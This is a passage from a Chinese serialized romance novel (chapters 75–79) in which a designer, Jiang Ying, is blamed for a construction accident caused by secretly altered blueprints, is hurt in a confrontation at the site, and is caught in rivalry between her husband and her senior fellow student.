果然,陆君扫了一眼坐在一旁看笑话的四个人,瞬间哑火。
看了一眼自己带大的弟弟,虽然有气,但毕竟是自己亲弟弟,他要护着,她还真没办法。
陆砚深拉着江莹准备带她去休息室,陆宁跟秦欣朝他们走来,身边还带着轩轩。
“爸……”
小男孩儿清脆的声音,让刚刚安静的楼道又有了声响。
小家伙刚喊出口,就被秦欣弯腰捂住他的嘴。
一旁的陆宁听到了轩轩的声音,看到秦欣这反应,急切地问:“欣欣姐,这孩子是我哥的?”
身后的陆家人听到陆宁的话,瞬间看了过来。
第75章 宋瑾修资金来源查不到
江莹低声讽刺,“陆总,你儿子眼巴巴看着你,你就不心疼,赶紧让他认祖归宗。孩子怪让人心疼的,看到自己爸爸都不能认。”
他睨了江莹一眼,“不用你操心,倒是你演技还不错,几句话,一个简单的动作就遮掩过去了。”
江莹给他一个不屑的眼神,“你儿子要曝光了,你是不是很高兴?”
陆家人看到秦欣带着一个孩子,视线瞬间汇聚在陆砚深身上。
“君姐,这是我儿子,孩子爸爸……”秦欣说着看了一眼陆砚深,然后委屈道:“孩子爸爸不在了。”
江莹皱眉,“看来你很见不得人,连你的小情人都说你**。”
陆砚深牵着江莹的手,用力握紧,“你巴不得我**吧?”
江莹挑眉,“我可没说,但你要真的**,我应该有遗产继承权。”
陆砚深睨了她一眼,拉着人直接离开。
秦欣看陆砚深连一个眼神都没有给她,却一直牵着江莹的手,哪是要离婚的样子?
难怪那人会说不能放松,甚至怀疑江莹怀孕,之前还担心他安排得太多余,现在她不那么想了。
陆砚深那样的人,他若是真的要跟江莹离婚,怎么可能还会紧紧握着她的手?
心里的恨意陡然升起,她付出了那么多,不能半途而废。
江莹坐在休息室看着凌澈发过来的图片,是他同学做的发簪,每个都很漂亮。
陆砚深转头看到图片,以为她喜欢,好心情道:“还不错,你戴的话配旗袍会很合适。”
他说着视线在江莹身上打量,她的身材穿旗袍应该会特别好看。
江莹瞥了他一眼,不搭理他。
将近一点钟,老爷子手术结束。
正如陆砚深所说,手术很顺利。
安置好老爷子,江莹要打车回古坊斋,被陆砚深直接拉上了车。
“古坊斋到底有什么勾着你的魂,有空就往那边跑,连午饭都不吃。”
“有老师,有师哥,有我感兴趣的东西,你管得着吗?”
江莹瞥了他一眼,眼神不屑。
陆砚深拧眉,她倒是一点都不避讳。
两人到古坊斋时,宋瑾修跟凌澈在一楼喝茶。
“莹莹,我路过这里给你带了饭,你吃过了吗?”
江莹笑眯眯道:“谢谢师哥,刚好还没有吃。”
陆砚深让她去吃饭,她不没去,不想让自己跟他有过多的纠缠,避免自己再有其他愚蠢的想法。
江莹打开食盒,看到是自己爱吃的麻辣兔肉和水煮鱼,开始大口干饭。
“师姐,你慢点吃。”
凌澈抿唇看着她,抽了纸巾递给她。
陆砚深停好车走了进来,他好奇江莹每天到这里都做些什么?
一进门,看到一左一右两个男人看江莹吃饭,心里瞬间不爽。
怪不得天天往这里跑,原来那个弟弟也在这儿。
还有一个让他很心烦的人。
宋瑾修眼尾余光看到门口有人,温声开口,“你要找的离婚律师,我帮你跟刘律师说好了,你什么时候有空我随时安排你们见面。”
“谢谢师哥,下周吧,这几天没有时间,老师给我任务了。”
江莹边吃边说,小嘴就没有停,“还是师哥了解我,知道我的口味儿,太好吃了。”
“师姐,好吃也要注意别上火了,我给你泡杯菊花茶。”
陆砚深握紧了拳头,直接转身离开。
宋瑾修瞥见那抹背影,抿唇笑笑。
“师哥,你什么时候有个表妹?”江莹边吃边问,神色坦然,像是不经意提起。
宋瑾修看着她注视了两秒,笑道:“在你眼里师哥就是从石头缝里蹦出来的,不会有亲人?”
江莹皱眉,“哪有,我就是觉得表妹看起来年纪应该跟我差不多,孩子都那么大了。”
“她在临市工作,之前也很少联系,这次过来就见个面。”
“孩子爸爸没有一起来吗?”
“我也没见过她老公,说是工作比较忙,经常不在国内。”
宋瑾修说得坦然又简单,江莹垂眸吃饭,心想他应该不知情。
江莹吃饭完,跟凌澈刚确定好古风饰品的款式,薛婷婷打来电话。
她迟疑了一瞬,现在是上班时间,怎么会突然给她打电话。
江莹疑惑着接通电话,“婷婷,有事?”
“江姐,正在施工的游乐园项目出事故了,目前已经造成两名重伤五名轻伤。”
江莹听到这个消息,不由地哆嗦了一下。
南郊的游乐园项目,当时她是主要负责人。
“江姐,你在听吗?孙经理想让你过来看看,我已经在工地等你。”
薛婷婷的声音,让江莹回神,“哦,我在听。”
思索片刻,想到薛婷婷在等她,江莹答应:“好,我马上过去。”
挂断电话,江莹直奔南郊工地。
虽然已经离职,但毕竟是自己做的设计,室内装修怎么会出现这么严重的事故……
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陆氏,总裁办公室。
陆砚深离开古坊斋之后直接去了公司,刚在办公室坐下,杜宇敲门进来。
“陆总,这是你让我调查的宋瑾修资料。”
陆砚深接过资料,开始翻看。
老家在川北,十八岁来江北上大学,六岁那年父母双亡,被自己的小姨养大。履历干净简单,看不出任何异常。
偏偏是这么一个没有任何背景,也没有任何强大外援的人,竟然只用了三年的时间成为江北投行新贵,在金融界有着不小的影响力。
对此陆砚深都表示佩服,若是换做是他,他都不敢说自己能做到。
“陆总,仅看资料没有任何异常,我都佩服他,说是金融和投行的传奇都不为过。但一个毫无家底和根基的人,成立荣盛资本启动资金就是三千万,这不正常。只是目前我还没有查到他这笔钱的来源。”
一个刚工作三年的穷学生,连江莹母亲的医药费都负担不起,他是怎么做到投资三千万注册公司的?
这让陆砚深也很好奇。
“他跟钟教授是什么关系?”
陆砚深放下手里的资料,身体靠在椅背上,神情严肃。
“查到他大学时寒暑假会在钟教授家借宿,管钟教授叫舅舅,其中的原因没有人知道。他跟太太也是因为钟教授认识的,钟教授似乎还有意撮合过他们俩。”
杜宇说完,陆砚深的脸色冷了几分,“查了几天,你就查了这点东西?”
“那也得有东西给我查呀,这比我脸都干净的身世,我还能查出花来?”杜宇嘟囔,掀起眼皮看了看陆砚深,又道:“但我已经安排人去川北查了,看能不能查出点啥?”
陆砚深皱眉,这人怎么比他还上劲儿?
杜宇看老板审视的眼神,俏咪咪往后退了两小步,心想太太人不错真要跟那人跑了,他调查清楚点也算是帮太太忙了。
陆砚深睨了他一眼,转问其他,“张启明那里留个心眼儿,吊他两个月,把他踢出局。”
杜宇震惊了,“陆总,合同都签了,怎么踢出局?再说了,他若是被踢了,太太怕是不好做。”
陆砚深手指有一下没一下地敲着桌沿,声音笃定,“这个不是你该操心的,李律师那里有办法,你跟他说一声。”
“好,我让他尽快想办法。”
杜宇刚准备走,市场部孙经理着急忙慌进来。
“陆总,南郊工地出事故了,有两名工人伤势较重。”
第76章 宋瑾修资金来源查不到
陆砚深缓缓坐直了身体,“你是说南郊那个游乐园项目?”
孙经理点头,“现场监理说那两名伤势严重的,目前正送往医院抢救,怕是有生命危险。”
陆砚深听得直皱眉,本来就是一个无关紧要的项目,但因为是江莹第一次参与竞标并负责全面设计,他才对此有印象。
当时,江莹带着项目组拿下合同后,回家心情特别好,一晚上缠着他,兴奋地跟他说着自己的设计方案。还厚脸皮的说,要生一个孩子,这样她就可以带着孩子在自己设计的游乐园玩,然后骄傲的告诉孩子这是他妈妈设计的。
女人明媚骄傲的神色在他脑中依旧清晰,那晚他们也确实很动情,还有了浴室的第一次。
陆砚深思索片刻,看向杜宇,“稳住现场,安抚好工人,尽力救治伤员。并让公关部配合市场部做好后续相关工作,把事情控制住,尤其注意**。”
杜宇点头,“我麻烦安排。”
孙经理纠结着开口:“陆总,事故现场反馈是设计问题,负责人江莹已经离职,是否……”
杜宇刚准备离开,脚步顿住。
陆砚深皱眉,冷声道:“既然已经离职就跟项目没有关系,一个室内装修,你还想终身追责不成?”
孙经理忐忑道:“我已经让她的助理通知她,毕竟江莹更清楚,便于配合我们调查问题。”
本来不是什么大事,但若真出了人命,事情就不会简单。
“陆总,现场肯定比较乱,农民工情绪激动万一做出点过激的事……”
杜宇本来是想说要不要派两个保镖过去,没想到他话还没有说完,陆砚深蹭地一下站了起来,冷声道:“去现场。”
半小时后,江莹达到现场,里面已经乱成一团。
“明明是你们设计方案有问题,没有考虑到承重问题,现在还不承认。”包工头声如洪钟,气势骇人。
薛婷婷和市场部的一个男同志被一群农民工围着,吓得不敢说话。
江莹看到这场面,心里也是一哆嗦,但听到包工头说是设计方案有问题,深吸一口气走了进去。
“张工,你先别着急,我是这个项目的设计师江莹,我们见过,也聊过施工方案。这样,我们再看看图纸,若真是我们的责任,我们一定会承担。”
“承担,你拿什么承担,因为你们设计方案有问题,我两个兄弟在医院抢救,还伤了五个。他们都是家里的顶梁柱,你能承担的起吗?”
江莹顺包工头的手指往左边看过去,看到人群后面旁边躺着五名工人时,心里突突直跳。
工作三年半,她也是第一次遇到这样的情况,说不害怕是假。
但方案毕竟是她出的,也是她一直跟进的,心里愧疚不已。
“张工,先打电话把他们送医院,这么躺着耽误治疗。”江莹说着掏出手机打电话。
“不行,送到医院,医药费谁出?我们不可能垫付,这么多兄弟都等着拿钱回家过年呢。”
包工头阻止她,一把抢过她手里的电话。
五个人,各个浑身带血,躺在地上因为疼痛蜷缩着身子。
“人命关天,你不救,我来救。”江莹看不下去,直接吩咐,“婷婷,打电话叫救护车。”
“本来就应该你救。”这时人群中一个大学生模样的年轻人厉声呵斥,“你做的方案有漏洞,造成这么严重的事故,你这种人就应该去坐牢。”
江莹本来就怕有人煽动农民工**,没想到还真有。
“事情会调查清楚,当务之急是先把受伤的工友送到医院。”
包工头把重伤的人已经送走,现场这五个伤势不算严重,为的就是跟开发商闹,索要更多的赔偿。
“江小姐,我也不想让你为难,但你的设计方案确实有问题,你看看这里是承重墙,之前说好的做一个拱形门,为什么又要全部拆除?”
包工头拿着图纸,手都是抖的,“我就今天没有在现场,就出这么大的事。”
江莹接过图纸,竟然真有问题,明明之前核实过的,承重墙不拆除只开门,但图纸上却标注的拆除。
她反复查看图纸,没有问题,有公司的章。
一时间不知道问题出在哪儿,“张工,你想一下,有没有人跟你说过改图纸的事?”
“你这话什么意思?”
包工头把安全帽往地上一摔不干了,“江小姐,我们可是按图施工的,这图纸都是受控的。”
“张工,事情发生了,我们也不会逃避责任,原因也一定会查清楚。”
旁边的年轻小伙子怒气冲冲,“查清楚?你是老板娘,陆氏这么大的企业想要掩盖事实真相那是分分钟的事,我们这些小老百姓怎么跟你们这些资本家抗衡?”
他这话一出,周围的农民工瞬间又围了上来,其中一个人拿起安全帽朝江莹砸了过来。
江莹还没有反应过来,一只大手快速揽住她的腰,将人带到一边。
本来朝着江莹的安全帽直直砸在男人的肩膀上。
“莹莹,没事吧?”
宋瑾修的声音透着隐忍,显然刚才那一下被砸得不轻。
江莹看他眉头紧皱,满眼担心,“我没事,你怎么样砸到哪里了?”
“不碍事。”
宋瑾修说着将她护在身后,冷冷看向包工头,“施工现场发生这样的事,不是先救治伤员,而是想着怎么讹钱,你就是这么带队的?”
“我……”包工头一时语塞,咬牙瞪着宋瑾修两秒,随即冷笑道:“别转移话题,你们这些有钱人我们斗不过,现在我们妥协了谁知道你们后面会不会耍赖。”
一旁的小伙子不屑道:“张哥说得对,现在是资本的天下。再说了,本来就是这女的设
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计有问题,害我们大家都差点丧命。”
“出了事,就想推卸责任,我们干了这么多年不是第一次见你这样的。”
一个大汉气呼呼上来就推搡,宋瑾修被他推得踉跄,他却转身本能地把江莹护在怀里。
江莹扶着宋瑾修还没有站稳,身后的人一把扯住她头发。
宋瑾修刚要伸手去拉江莹,被大汉揪住胳膊。
一时间场面有些乱,本来施工现场东西就多,不知道是谁推了江莹一把,她身体不受控制往后退了两步,倒下去后脑勺直接磕在油漆桶上,瞬间两眼冒金星。
“江姐?”
薛婷婷看江莹倒地,直接哭了起来。
“莹莹?”
宋瑾修跟拽着他的农民工直接打了起来。
保安一直被农民工困在外围,看形式越来越不受控制,直接打电话报警。
这时一直煽风点火的小伙子,又火上浇油,“江小姐,你本来就不是学现代装潢设计的,因为是陆砚深的妻子,顺手拿了项目作为你在行业立足的资本,没有专业能力,能不能不要出来害人?”
江莹躺在地上还没有缓过来,看那个男生咬牙切齿地看着她,疑惑不解。
他是怎么知道自己和陆砚深是夫妻的?
小伙子的话,无疑让本就情绪不稳的农民工,瞬间暴涨起来。
推倒江莹的那个农工人,一把将她从地上揪了起来,怒不可遏,“我们农民工的命就不是命吗?”
江莹本来就有点晕,被他这么一晃,脑袋更晕。
“大哥,你冷静一下。”
薛婷婷见劝不住拉着包工头的胳膊求情,“张工,现在这么闹也不是办法,你们就算是把我们困在这里,也拿不到钱不是,我们先把人送医院,然后再协商。”
小伙子冷哼,“就怕你们不拿钱,到时候这些债都得让农民工大哥来扛。”
包工头为难,看了眼那个小伙子,一旁的人也激动。
“这要是人送进医院了,她们跑了,我们今年不是要吃土了?”
“我家孩子还等着我拿钱回去交学费呢。”
“俺家也是等钱用呢,俺娘股骨头坏死,等着我拿钱回去做手术嘞。”
大汉情绪激动,“你倒是说话呀,我们都被你坑惨了。”
宋瑾修被两个农民工压制着,拼尽全力爬到江莹身边,声音沙哑,“你放开她。”
江莹被晃得想吐,看到师哥被人压在地上,地上有血迹渗出,心里急的不行。
她转头忍着胃里的翻滚一口咬在那个大汉手背上。
“嘶……”
“你个臭**。”
他另一只手扬起来的瞬间被人从后面扼住,下一秒,腿弯处被人狠狠踹了一脚,紧接着整个人扑通一下跪在地上。
“谁再动手,今年在局子里过年。”陆砚深冷冽的声音将试图靠过来的人呵斥住。
第77章 正室收拾小三,帅
杜宇和两个保镖接踵而来,将陆砚深和江莹护在中间。
陆砚深将人搂在怀里,看她脸色煞白冷声开口,“谁动的手?”
薛婷婷垂眸弯腰将地上的宋瑾修扶了起来,盯着宋瑾修手上的血,红了眼眶。
一直被围着的市场部那个男同事抬手指向了大汉和煽风点火的小伙子。
“陆总,这个人动的手,那个小伙子**。”
陆砚深睨了一眼想要逃的那个小伙子,“别让他跑了。”
说完弯腰将人抱起,然后抱着江莹往外走。
江莹挣扎,“你放我下来,我师哥受伤了。”
宋瑾修被压在地上时,因为挣扎,手掌被一根钉子扎到,整个掌心都是血,这会儿顺着手背往下滴。
陆砚深没有停,反而把人抱得更紧,“他受伤需要的事医生,你自己都半条命了,能帮上什么忙?”
江莹挣脱不了,指甲抠进陆砚深的胳膊,“你放我下来,我要看看他伤的怎么样?”
刚刚那种情况师哥不顾安危护着她,自己若是就这么走了,她还是个人吗?
陆砚深咬牙顿住脚步,声音冷硬,“有话赶紧说。”
“师哥,你的手……”
宋瑾修勉强扯出一个笑,“我没事,你赶紧去医院检查一下,不用担心我。”
江莹看着那只滴血的手,想起那场车祸,瞬间呼吸都有些困难,她喘着气泪往下掉,“师哥,你也快点去医院。”
陆砚深看江莹这反应,脸上瞬间黑了几个度,还真是哥哥妹妹情深,心疼的呼吸都上不来了。
“杜宇,安排宋总去医院。”
他留下这句话,抱着江莹离开。
薛婷婷扶着宋瑾修,声音哽咽,“值得吗?”
宋瑾修没有说话,看着前面离开的人,眼神狠厉。
江莹被送到医院时,整个人还头晕目眩,一阵阵泛呕。
陆砚深看着她难受的样子,心里着急,嘴里说出的话,让别人也不舒服,“你是不是傻,那种情况是你能处理的?”
江莹已经很难受了,狗男人还责怪她,“你有没有良心,我已经很难受了。再说了,当时婷婷被人围在里面,我能坐视不管?毕竟是我负责设计的方案。”
“你一个小小的设计师,真把自己当建筑设计大师了,还想终身负责。”
江莹:……
狗东西不配长嘴,她都这么难受了,他说话还这么尖酸刻薄。
说不过,也不想搭理他,拿着手机给宋瑾修打电话。
电话响了一阵接通,宋瑾修温润和煦的声音传了过来,“莹莹,你好好休息,我没事。”
“师哥,你在哪儿,我去看看你,手流那么多血怎么可能没事。”
江莹担忧的神色让陆砚深很不舒服,中午两人就在一起,下午在现场,那个惺惺相惜,当他不存在一样。
“我有个采访,去的路上凌澈给我打电话,就拐了个弯,这会儿已经到现场,马上要开始了。”
江莹心里更愧疚,“你的手真的没事吗?”
“真没事,路上经过一家药店已经处理过,等采访结束,我去医院看你,顺便找医生看看。”
宋瑾修温和的嗓音,让江莹心里更过意不去,心里的愧疚也更深。
于是柔声嘱咐,“那你注意,尽快来看医生。”
陆砚深对他们师哥师妹的腻歪很不爽,不等宋瑾修说完直接抢了电话挂断。
“江莹,当着我的面跟别的男人这么黏糊,别忘了我还是你丈夫。”
江莹气得起身要被陆砚深直接按在床上,“医生刚才说了脑震荡,不能动。”
江莹咬牙瞪着他,“他是我师哥,为了救我才受伤的,我关心一下不应该吗?”
陆砚深瞥了她一眼,声音冷淡,“人已经关心过,有时间想他,不如好好想想问题出在哪儿?”
听到这里,江莹气呼呼的小脸瞬间耷拉了下来,“这件事肯定不是我的问题,当初定的是开一个门不是拆墙。”
“能肯定吗?”
“当然肯定,我跟包工头张工现场沟通过。”
陆砚深沉默了,看来这件事情不简单。
他直接拨通杜宇的电话,声音沉冷,“重点审问包工头和那个煽风点火的人,把事情查清楚。”
挂断电话,陆砚深拧眉看着江莹,“这两天好好在家休息,哪儿都不准去。”
“那怎么行,我只是轻微脑震荡,休息一会儿就没事了。”
下周五要去临市参加逍遥楼重建的第一次研讨会,要在下周一交设计稿,钟老师还在看她改后的设计稿,万一有问题肯定要修的。
“你去古坊斋能有什么正经事,不许去。”
江莹气笑了,“我有没有正经事,都是我自己的事,你管不着。”
两人僵持间,陆砚深电话响起。
他拧眉停顿一瞬,接通电话。
“什
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么事?”
秦欣着急的声音传来,“砚深,你们南郊一个工地是不是出事了?”
“你怎么知道的?”
陆砚设好奇,他已经让工作人员**息,就怕媒体乱写。
“谢林在那个工地,他……”秦欣交集中有些难以开口。
“谢林是谁?”
“他是谢川的堂弟,今年大学毕业,在工地实习。”
陆砚深神色僵住,脑子里浮现出工地上那个小伙子恶狠狠的神情。
“他一直对谢川的死耿耿于怀,所以对你……”
秦欣说着有些哽咽,“砚深,我听秦阿姨说他跟谢川关系很好,把谢川当亲哥。他这次做的事确实太过分,但毕竟年纪小,你能不能看在谢川的面子上别跟他计较。”
在秦欣说到谢川时,陆砚深起身往窗前走,江莹只听到秦欣说“谢林在那个工地”这句。
看陆砚深神色,不难猜出,工地上有跟秦欣相熟的人,而且跟事故有关。
“等查清楚了再说。”
陆砚深挂了电话站在窗前深深叹了口气,江莹刚刚的猜测应该是对的,现场的图纸改了,刚好今天包工头不在现场。
“陆总,若是有人私自篡改图纸,造成人员伤亡,这是犯法吧?”
江莹直直趟在病床上,眼睛盯着天花板,看都没有看陆砚深。
三年的夫妻,她很了解陆砚深,他此刻的神情已经说明他心里在盘算着什么。而且所盘算的事,是他不得不破例或者不太愿意又不得不做的事。
“那两名重伤患者已经确认没有生命危险,陆氏会负责所有人的医药费,并给出最高额的赔偿。图纸**还有公司的章,这个人一定会揪出来。”
他说完,病房里是长久的沉默。
傍晚,宋瑾修处理完伤口,来看江莹。
江莹盯着他的手,很是担心,“师哥,你的手怎么样?”
“已经处理好,也打了破伤风,没事。”
跟着宋瑾修进来的薛婷婷小声道:“江姐,宋先生手掌被钉子刺穿了,当时给我都吓傻了。”
江莹不知道该说什么,最终嚅嗫道:“师哥,连累你了。”
“跟师哥还这么客气。”宋瑾修抬手揉了揉她的头,温声道:“莹莹,跟我不用说谢,为你做什么我都是心甘情愿的。”
这是三年来,宋瑾修第一次这么赤裸裸地表达自己的心声,一时间江莹不知道该怎么回应。
第78章 江莹从热浪中醒来
薛婷婷站在一旁,垂眸紧抿着唇,心里酸涩不已。
看江莹不给回应,宋瑾修主动化解尴尬,他抿唇转移话题,“刚碰到你这个小助理,她说工地上好像已经有些眉目,是有人跟陆氏的人勾结,篡改了图纸。”
陆砚深并没有跟她说细节,但江莹也知道了个大概,或许是因为知道瞒不住,所以陆砚深接杜宇的电话并没有回避。
“江姐,就是一直煽风点火那个小伙子,他是监理招进来的,这个人胆子也太大了,竟然私自改我们的设计图纸。”
薛婷婷说完,宋瑾修皱眉,“这种行为构成犯罪了。”
“这件事,已经不是我们所能干涉的,陆氏想要怎么处理是他们的事。”
江莹嘴上这么说,心里很不甘,自己和师哥无故受牵连,陆砚深为了秦欣却有了包庇之心。
“江姐,今天现场多危险,你和宋先生因为那个人的行为受伤,一定得让公司给个说法,不能让那个人逍遥法外。”
江莹:……
狗男人有心包庇,除了钱,怕是别的也拿不到。
陆砚深对秦欣不但有爱意,还有愧疚,他心爱的女人,给他生了孩子,还不哭不闹默默养孩子,是个男人都会感动。
“没事,事情怎么处理,我们不参合。莹莹,吃一堑长一智,以后再遇到这样的事,别再冲上去。”
江莹点头,“我知道了。”
……
梁玥这几天被沈斯阳折腾的够呛,每天忙的跟陀螺一样,几乎脚不沾地。
她知道江莹出事,还是从沈斯阳嘴里,当时她正陪着狗东西吃晚饭。
“我去,这家伙说的不是江莹吧?”他说着将手机伸到梁玥面前,“梁秘书,这家伙说他受伤是因为他最在乎的人遇到危险。”
梁玥现在听到他叫“梁秘书”头就大,但看到宋瑾修的采访视频时,她瞬间被吸引。
主持人:宋先生,刚听说你来的路上发生点意外,所以手受伤了。
宋瑾修:算是吧,我最在乎的人遇到了危险,去找她在现场受了点伤。
主持人震惊后,饶有兴致地追问:是之前网上说的那个师妹吗?
宋瑾修抿唇点头:是的。
主持人:师妹有受伤吗?
宋瑾修满眼心疼:现场太凌乱,她也摔了一脚。
主持人:宋总真是深情,这么多年如一日的守护着自己心爱的女人,太感动了。
“这人他要不要脸,全网都知道他和江莹的事,他又说江莹是他最在乎的人,这不是公开打陆砚深的脸吗?”
梁玥瞪了他一眼,“莹莹都要跟陆砚深离婚了,有什么不能说的?再说了,师哥对江莹好也不是现在才开始的,从我们上学那会儿莹莹就是他心里最重要的人。”
她说着给江莹打电话,响了很久却没有人接。
沈斯阳正想着怎么反驳,一个朋友推给他一条消息#陆氏集团南郊游乐园项目发生事故造成多人重伤#
他看到这个标题,心里一咯噔,“我去。”
江莹没接电话,梁玥正急,听沈斯阳这么激动,抬眸看了过去,看到这条消息,瞬间明白了宋瑾修为什么受伤。
“这种消息陆砚深怎么会让流了出来,陆氏的公关怎么做的?”
“南郊的游乐园是莹莹负责设计的,她会不会受牵连?”梁玥声音焦急。
沈斯阳看着手机里的评论皱紧了眉头,“你看看网上都是怎么骂她的,说她没有常识,要求砸承重墙造成工人重伤,还有人说要让全行业**她。”
“莹莹不可能犯这种低级错误。”
梁玥说完拿着包就走,边走边给江莹发消息。
此时的江莹正在病房犯愁,加上手机静音根本没有注意到屏幕亮了。
陆砚深眸色沉冷的盯着宋瑾修,“宋总,今天多谢你帮助莹莹,时间不早了,我们该回家了,改天我跟莹莹请你吃饭以表谢意。”
宋瑾修脸色严肃,“陆总,今天的事是有人故意的,刚才我还不明白为什么,现在我明白了,就是有人故意针对莹莹,想要毁了她。你看网上已经有人发帖骂莹莹是无能设计师,害人性命的刽子手。”
“所有问题,我都会解决,不劳宋总操心。”
陆砚深眸色凉凉的看宋瑾修,这事他已经让人在处理,本来不想让江莹知道,没想到他直接捅了出来。
江莹看着两个男人剑拔**张,本来心烦,但听到宋瑾修说是有人故意针对她,瞬间不淡定。
她摸到手机,看到梁玥发过来的消息,快速点了进去。
原来是真的,网上已经有不少人在骂她。
会故意针对她的人不多,更何况出事之后秦欣就来求情,所以是谁在针对她不难猜。
“陆砚深,这件事你若是不能给我一个说法,我跟你没完。”
原本她还自责,若是自己不去,或许就不会连累师哥受伤。
但现在看来,就是别人给她挖的坑,算准了她会去,或者即便她不想去,也会有办法逼得她不得不去。
江莹在医院观察到晚上九点,眩晕感没有之后才离开医院。
刚走出住院部大厅,就有几个衣着朴素的人朝她为了过来。
“就是她,明明没什么本事,靠关系上位,害得我男人这辈子都站不起来。”
一个大姐边说边哭,瞪着江莹恨不得把她生吞活剥了。
大姐说完,一个老太太哭了起来,“害我儿子后半辈子残疾,你就应该去坐牢。”
“你还我儿子的腿。”
“我儿子还不到四十岁,就没有双腿,你让他后半辈子怎么活?”
大娘说着就上前撕扯江莹。
陆砚深将人护在身后,跟一起过来的两个男人拉扯,“你就是她男人吧,就是因为你有钱,她这样的女人才有恃无恐。
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”
周围有人纷纷鸣不平,“现在有钱,就是有底气,网上都说这女的其实没能力。”
“可不是,没能力非要出来祸害人。”
江莹听着别人非议,心里难受到了极点,为了陆砚深她放弃了自己喜欢的专业,去陆氏从一个普通的设计员一步一步做起,从没有享受过陆太太的特权,现在还要因为她是陆砚深的妻子而备受争议。
狗男人护着她有什么用,还不是为了他的小情人将她推到了风口浪尖?
强烈恨意让江莹咬牙,她往后退了一步,在陆砚深毫无防备的情况下一脚踹在他屁股上。
狗男人身体猛地往前一步,直接趴在跟他拉扯的人身上。
“你们害了我哥还敢打我们?”
前面两个人把陆砚深的冲击当成挑衅,直接跟他干了起来。
其中一个体型偏瘦的男人,一拳打在陆砚深胸口。
杜宇跟伤员协商好赔偿问题,从里面出来,刚好看到这一幕,直接加入了战斗。
两人一对一并不是难事,江莹看陆砚深被人揪着衣服,心里舒服了不少,他也有这么狼狈的时候。
狗男人要保护那个人,那就自己受着吧。
“你们再动手,你家人的医药费和赔偿我一分都不会出,不服就去告,我有的是时间跟你们耗。”陆砚深揪着跟他动手的人,声音狠厉。
这时保镖和保安都跑了过来,伤者家属也不敢再闹。
那老太太一屁股蹲在地上哭了起来,“我儿子该怎么办,我们家的顶梁柱,天塌了呀!”
杜宇示意陆砚深先走,他留下来处理。
陆砚深拧眉拉着一旁的江莹往外走,保镖护在两侧。
两人上车,陆砚深的视线沉冷地落在江莹身上。
江莹挑眉看他一眼,“陆总这么看着**什么,我脸上写着我是卧底?”
事情摆明了外面的人是秦欣找的,公司的卧底是谁还没有查到。
“你就那么恨我?”
江莹挑眉装傻,“不明白你说什么?”
“刚才不是你踹我,我会被打?”
“我什么时候踹你了,我有脑震荡,站不稳确实碰了你一下。”江莹死不承认,还有被冤枉的愤怒。
“碰一下和踹我屁股我会分不清,你给我示范一下,怎么碰的?”
“欲加之罪何患无辞,随你怎么说。反正我也不是第一次被冤枉,现在还被人挂在网上骂呢。”
宋瑾修站在街旁,看着江莹被陆砚深带走,默默抽着烟,脸上温润的神色褪去,缓缓吐出的烟圈将他那双阴鸷的眸子掩藏在烟雾中。
薛婷婷站在不远处,看着他的背影不敢上前。
良久,宋瑾修捻灭手中的烟头,嗓音淡淡:“放心,不会查到你头上。”
薛婷婷看着他的手,小声开口,“江莹的病历我看了,是脑震荡,并没有任何跟怀孕检查有关项。”
第79章 外公的死因
看得客厅里的人瞬间瞪大了眼睛。
江莹皱眉,陆家二小姐,什么时候这么狼狈过,看样子昨晚挺遭罪。
“宁宁。”
陆伯川两口子看到女儿快步迎了上去,**婉声音哽咽。
在看到父母那一刻,陆宁直接哭着倒在**婉怀里,“妈!”
“站好。”
陆砚深声音清冷,充满威慑力。
刚倒在**婉怀里的陆宁,被陆砚深一声呵斥直接站了起来,身体摇摇晃晃站着直哆嗦。
江莹被他这一声吓到,不由得抖了一下,这人今天咋这么铁面无私?
陆宁一直小公主一样,什么时候受过这种罪,也让她想到昨晚的自己,心想挨冻的滋味不好受。
但想到她昨晚的恶毒,江莹收起烂好心,看了两眼低头看自己的手机。
这两天聊得那个侦探一直吊着她,时不时看一下微博。
江莹的漠不关心陆君看在眼里,气在心里。
“砚深,宁宁是我们的亲人,你怎么能这么罚她,祠堂晚上多冷?”陆君看着自己弟弟心里不由得生怨。
陆砚深没有理会旁人或生气或怨恨的目光,幽幽开口,“陆宁你认错吗?”
陆宁这会儿对自己堂哥可以说是又爱又恨,从小疼她的人,为了江莹罚她在祠堂跪了一晚上。
管家只要看到她打盹,就“啪”一声敲桌子,一连三次吓得她以为祖宗显灵了。直到刚才管家将一块儿手机大小的木板放回抽屉,她才知道那是祖上留下来的惊堂木。
“我错哪儿了,她打了大姐,我教训她怎么了?”瞪眼盯着江莹恨得不行,“她不是没有冻死!”
“看来昨天晚上的惩罚还不够,今天……”
陆伯川两口子这会儿多少明白怎么回事,拉着女儿的手示意她道歉。
陆宁偏偏不低头,咬牙道:“我就是不喜欢她,她们全家都是吸血鬼。”
“砚深,你太过分了,你这么做不就是为你老婆出气吗?宁宁从小到大维护你,你竟然这么对她。”
陆君的话让陆砚深皱眉,“昨天若不是我在附近及时赶到,江莹出事了,她这会儿是该高兴还是该哭?”
江莹轻笑,补了句:“我没冻死所以她还能横,若是冻**她……做一辈子牢。”
陆君咬牙,“江莹,你拱什么火,你不是好好的。”
江莹冷笑着站了起来,“我是好好的,那就表示她没有错吗?商场六楼,两三平方的露台,要不今晚把你关进去试试?哦,你命还挺好,今晚没有大风,昨晚有六级阵风。”
许振清扯了扯陆君的胳膊,“你少说两句,砚深做事自有他的道理。”
陆砚深沉着脸开口,“二叔,昨晚那种情况,江莹若是真的告她**,你觉得警察会怎么定性?”
陆伯川和**婉瞬间没了脾气,昨晚风确实大,这丫头的做法太狠了。
“莹莹,二婶替宁宁给你道歉,你看昨晚砚深已经罚她跪了一晚上祠堂,也是罚过她了。”
**婉走到江莹跟前,一脸慈爱,“莹莹,从你进陆家,二婶从来没有为难过你,看在这几年二婶还帮你说过话的份上,别跟宁宁计较了。”
**婉这话说到江莹心坎里,在陆家她确实帮江莹说过话。
陆君让她端茶倒水,当佣人使唤时,是**婉帮她说话解围。
虽然**婉只是看不惯陆君的做派,但总的来说得利的是江莹。
“我不是没报警吗?”
江莹说完准备坐下,看到自己一直关注的那个人发来了消息,瞬间又站直。
陆砚深直截了当道:“莹莹,你是嫂子,你说怎么罚她。”
江莹看到约的那个**约她中午见面,心里正想开溜,听陆砚设你这么说还挺吃惊。
这人是想给她顺水人情,缓解她们之间的矛盾?不管怎样,赶紧解决问题走人要紧。
江莹眨了眨眼,“假期剩余的时间不能出门,每天去祠堂打扫并手抄一份《金刚经》,修身养性。”
“江莹……”
